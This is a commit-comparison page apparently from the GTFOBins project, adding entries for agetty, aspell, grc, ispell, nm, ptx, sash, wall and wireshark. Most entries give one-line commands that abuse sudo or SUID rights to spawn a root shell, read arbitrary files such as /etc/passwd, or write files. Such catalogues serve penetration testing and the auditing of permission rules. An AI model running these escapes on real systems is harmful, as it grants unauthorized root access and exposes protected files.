Compare commits

...

10 Commits

Author SHA1 Message Date
valdaarhun
7e2e188305 Add nm file-read
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-02-03 08:46:38 +01:00
Gauthier Sebaux
74e021e8ef Add wireshark sudo file write
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-01-27 14:53:26 +01:00
Andrea Cardaci
50ab4f0ce0 Add ispell shell
Close #259
2022-01-26 23:06:33 +01:00
Andrea Cardaci
1ab481cbd0 Move wrongly placed GTFOBins in the right location 2022-01-26 22:59:40 +01:00
d4t4s3c
1b796c0d88 Add sash
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-01-26 22:52:43 +01:00
d4t4s3c
03cf1fe796 Add grc
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-01-26 22:41:37 +01:00
d4t4s3c
332579ca12 Add aspell
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-01-26 22:34:01 +01:00
d4t4s3c
9a222c6814 Add wall
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-01-26 22:20:34 +01:00
d4t4s3c
1c8c10efbc Add ptx
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-01-20 22:42:22 +01:00
d4t4s3c
ecdacfc3ac Add agetty
with sudo not allowed
2022-01-20 14:33:41 +01:00
9 changed files with 110 additions and 0 deletions

5
_gtfobins/agetty.md Normal file
View File

@@ -0,0 +1,5 @@
---
functions:
suid:
- code: ./agetty -o -p -l /bin/sh -a root tty
---

16
_gtfobins/aspell.md Normal file
View File

@@ -0,0 +1,16 @@
---
description: The textual file is displayed in an interactive TUI showing only the parts that contain mispelled words.
functions:
file-read:
- code: |
LFILE=file_to_read
aspell -c "$LFILE"
suid:
- code: |
LFILE=file_to_read
./aspell -c "$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo aspell -c "$LFILE"
---

7
_gtfobins/grc.md Normal file
View File

@@ -0,0 +1,7 @@
---
functions:
shell:
- code: grc --pty /bin/sh
sudo:
- code: sudo grc --pty /bin/sh
---

15
_gtfobins/ispell.md Normal file
View File

@@ -0,0 +1,15 @@
---
functions:
shell:
- code: |
ispell /etc/passwd
!/bin/sh
suid:
- code: |
./ispell /etc/passwd
!/bin/sh -p
sudo:
- code: |
sudo ispell /etc/passwd
!/bin/sh
---

16
_gtfobins/nm.md Normal file
View File

@@ -0,0 +1,16 @@
---
description: The file content is treated as command line options and disclosed through error messages, so this is not suitable for reading arbitrary binary data.
functions:
file-read:
- code: |
LFILE=file_to_read
nm @$LFILE
suid:
- code: |
LFILE=file_to_read
./nm @$LFILE
sudo:
- code: |
LFILE=file_to_read
sudo nm @$LFILE
---

16
_gtfobins/ptx.md Normal file
View File

@@ -0,0 +1,16 @@
---
description: While the program is capable of reading the file, it outputs a "permuted index" of its content, thus altering it. Adjusting the options could yield more readable outputs.
functions:
file-read:
- code: |
LFILE=file_to_read
ptx -w 5000 "$LFILE"
suid:
- code: |
LFILE=file_to_read
./ptx -w 5000 "$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo ptx -w 5000 "$LFILE"
---

9
_gtfobins/sash.md Normal file
View File

@@ -0,0 +1,9 @@
---
functions:
shell:
- code: sash
suid:
- code: ./sash
sudo:
- code: sudo sash
---

8
_gtfobins/wall.md Normal file
View File

@@ -0,0 +1,8 @@
---
description: The textual file is dumped on the current TTY (neither to `stdout` nor to `stderr`).
functions:
sudo:
- code: |
LFILE=file_to_read
sudo wall --nobanner "$LFILE"
---

18
_gtfobins/wireshark.md Normal file
View File

@@ -0,0 +1,18 @@
---
functions:
sudo:
- description: |
This technique can be used to write arbitrary files, i.e., the dump of one UDP packet.
After starting Wireshark, and waiting for the capture to begin, deliver the UDP packet, e.g., with `nc` (see below). The capture then stops and the packet dump can be saved:
1. select the only received packet;
2. right-click on "Data" from the "Packet Details" pane, and select "Export Packet Bytes...";
3. choose where to save the packet dump.
code: |
PORT=4444
sudo wireshark -c 1 -i lo -k -f "udp port $PORT" &
echo 'DATA' | nc -u 127.127.127.127 "$PORT"
---